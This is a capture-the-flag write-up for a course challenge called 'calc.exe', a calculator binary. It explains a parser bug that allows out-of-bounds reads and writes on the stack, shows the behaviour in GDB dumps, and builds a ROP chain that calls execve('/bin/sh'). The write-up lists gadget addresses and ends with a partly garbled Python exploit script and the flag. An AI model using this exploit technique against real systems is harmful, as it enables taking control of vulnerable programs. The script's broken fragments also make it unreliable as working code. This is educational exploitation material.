Problematic Calculator

First of all, the file name is “calc.exe”. But actually this binary is elf-32… What the heck XD

Play around with it! This calculator is problematic. It can only deal with arithmatic of positive number. For example, if you type:

-1+5


This will return 0 as a result, which is obviously not true. Also, trying to type only 0 in the calculator, the error message will show up:

.. code-block:: text

prevent division by zero


Another problem is that though it can do the elementary arithmetic, it only has restricted capability of priority processing. For example, the expression 2*3+4*5 will return 26. But 2*(3+4)*5 we still got 26 as answer. This shows that the calculator cannot support complicated priority issue of elementary arithmetic, say, priority that uses parenthesis. One level priority is supported, however.

Okay, that’s enough. This weird calculator seems cannot support full functionalites of traditional calculator. To see how it processes the input, and the internal logic, one must use IDA Pro.

Look into The Program

The binary has five main functions:

• calc(): Main loop of the calculator
• get_expr(): Only allow specific character set ([+-*/%0-9]) to be written into the buffer
• init_pool(): Write zeros into the pool, trivial
• parse_expr(): Poorly written parser
• eval(): Do the operate on the i and the i-1 element of the pool according to the operator

The key function is parse_expr(). It has several weird parts such as:

• No boundary on the for loop
• Indexing by the argument which is in caller’s stack frame

According to the result of decompilation, the local variables in calc() are reside in the stack whose addresses are shown related to the esp and ebp:

pool_t pool; // [sp+18h] [bp-5A0h]@5
char str[1024]; // [sp+1ACh] [bp-40Ch]@2
int stackguard; // [sp+5ACh] [bp-Ch]@1


Where the structure pool_t might be like this:

struct pool_t {
int top;
int stack[100];
};


The calculation result of the expression will be stored at esp+0x1Ch, which is stack[0]. And top will always be 1. In calc(), the value of stack[0] will be printed out using top when top is 1.

printf((const char *)&unk_80BF804, pool.stack[(unsigned int)((char *)pool.top - 1)]);


There seems no boundary checking on top. By this property, memory leaking could also be possible.

In eval(), the function directly doing operation to two elements of the array without checking the boundary. We might exploiting this weak point to modify variable which is right before the array.

p->stack[(unsigned int)((char *)p->top - 2)] += p->stack[(unsigned int)((char *)p->top - 1)];


But how to use this? We all know that the most of operators acceptable in this calculator are in the category of “binary operators”. Which means there must be two operands between the operator. What if one of the operand is missing? Let’s do some experiments through GDB. If the expression “9+10” is entered (assume the breakpoint was set right behind call 0x804902a <parse_expr>, i.e. after the returning of parse_expr()):

gdb-peda$x/16xw$esp
0xffffd080:     0xffffd22c      0xffffd098      0x00000000      0x00000000
0xffffd090:     0x00000000      0x00000000      0x00000001      0x00000013
0xffffd0a0:     0x0000000a      0x00000000      0x00000000      0x00000000
0xffffd0b0:     0x00000000      0x00000000      0x00000000      0x00000000


The value of top is 1 and the value of stack[0] is 19. Then 19 will be printed out because *(stack+top-1) is 19. What if the expression entered is “+5”?

gdb-peda$x/16xw$esp
0xffffd080:     0xffffd22c      0xffffd098      0x00000000      0x00000000
0xffffd090:     0x00000000      0x00000000      0x00000005      0x00000005
0xffffd0a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd0b0:     0x00000000      0x00000000      0x00000000      0x00000000


The calculation result will be 0 because stack+top-1 is 0xffffd0ac, whose value is 0.

More surprisingly, we can simply use “+5+1” this kind of expression to modify the content of the specific memory location. And the result will still be the content of stack+top-1, which is 0xffffd0ac. But its value is modified by the expression.

gdb-peda$x/16xw$esp
0xffffd080:     0xffffd22c      0xffffd098      0x00000000      0x00000000
0xffffd090:     0x00000000      0x00000000      0x00000005      0x00000005
0xffffd0a0:     0x00000000      0x00000000      0x00000000      0x00000001
0xffffd0b0:     0x00000001      0x00000000      0x00000000      0x00000000


Strategy

There are two facts which we gathered after analyzed the binary:

• Leak stack
• Write stack

So controling eip through return address should be possible. Another good news is that we don’t even have to worry about the stackguard because we are capable to write return address rather than “overflowing” the stack buffer. In the technique of stack buffer overflow, the canary (stackguard) will be modified in order to overwritten the return address.

One interesting is that we modified the return address of calc() in parse_expr(). In calc(), the local variable in stack frame is passed into parse_expr() as an argument. Thus making the return address modification of caller’s stack frame happened in callee’s stack frame.

Shellcode

First idea comes to my mind was putting shellcode in stack buffer. But shellcode in stack[100] will not work because every time a new round in while loop begins, the stack[100] will be re-initialized. And the raw input we typed will be filetered (only [+-*/%0-9]), then saved into str[1024]. So storing shellcode in str[1024] is not possible, either.

According to the hints TA provided, the program is compiled with static option. That means “ret2libc” will not work because the library is compiled into the program statically. There is no entry in the GOT of the program. This could be checked by using file command.

calc.exe: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped


Also, objdump -R will print the dynamic relocation entries of the program.

calc.exe:     file format elf32-i386

objdump: calc.exe: not a dynamic object
objdump: calc.exe: Invalid operation


Return Oriented Programming

The program is compiled with static option, which means the possibility of finding useful ROP gadgets are higher. The objective is to make a ROP chain which calls execve("/bin/sh").

Exploitation

\$ ./ROPgadget.py --binary ~/secprog/calc.exe


Because the “/bin/sh” string resides in stack, ebx needs to be the address of the string, which is in stack. ASLR is enabled, so it is needed to poke for the actual stack address. The text listed below is an example, real exploitation should calculate the location of the string dynamically.

leak 0xffffd63c's value, modified to 0x080550d0 :  xor eax, eax ; ret
leak 0xffffd640's value, modified to 0x080701d1 :  pop ecx ; pop ebx ; ret
leak 0xffffd644's value, modified to 0x00000000 -> for pop ecx
leak 0xffffd648's value, modified to 0xffffd6ec -> for pop ebx
leak 0xffffd64c's value, modified to 0x080908d0 :  mov eax, 7 ; ret
lead 0xffffd650's value, modified to 0x0807cb7f :  inc eax ; ret
lead 0xffffd654's value, modified to 0x0807cb7f :  inc eax ; ret
lead 0xffffd658's value, modified to 0x0807cb7f :  inc eax ; ret
lead 0xffffd65c's value, modified to 0x0807cb7f :  inc eax ; ret
leak 0xffffd660's value, modified to 0x08049a21 :  int 0x80
leak 0xffffd6ec's value, modified to 0x6e69622f -> "/bin"
leak 0xffffd6f0's value, modified to 0x0068732f -> "/sh'\0'"


The return address is at esp+0x5ac (ebp+0x4). Its value should be modified to the address of the first ROP gadget. Then the ROP chain starts to work! The exploitation works like this:

1. Poke ebp+0x10 for the address of the string “/bin/sh”.
2. Set eax and ecx to 0.
3. Make ebx to be the value of ebp+0x10.
4. Accumulate eax to 11
5. Interrupt
6. Put the string “/bin/sh” in the address which has already stored in ebx
addrs = ['+361', '+362', '+363', '+364',
'+365', '+366', '+367', '+368',
'+369', '+370', '+405', '+406']

payloads = [0x080550d0, 0x080701d1, 0x00000000, 0x00000000,
0x080908d0, 0x0807cb7f, 0x0807cb7f, 0x0807cb7f,
0x0807cb7f, 0x08049a21, 0x6e69622f, 0x0068732f]

def pokestack(s):
s.send('+364\n')
binsh = int(s.recv(1024))

def rop(s):
for i in range(12):
print '[!] target: %s' % hex(payloads[i])
mleak = int(s.recv(1024))
print '[!] leak: %s' % hex(mleak)
print '[!] offset: %d' % offset
g = '%s%+d\n' % (addrs[i], offset)
print '[+] send: %s' % g
s.send(g)
print '==> %s\n=================' % hex(int(s.recv(1024)))
s.send('\n')


Flag

SECPROG{C:\Windows\System32\calc.exe}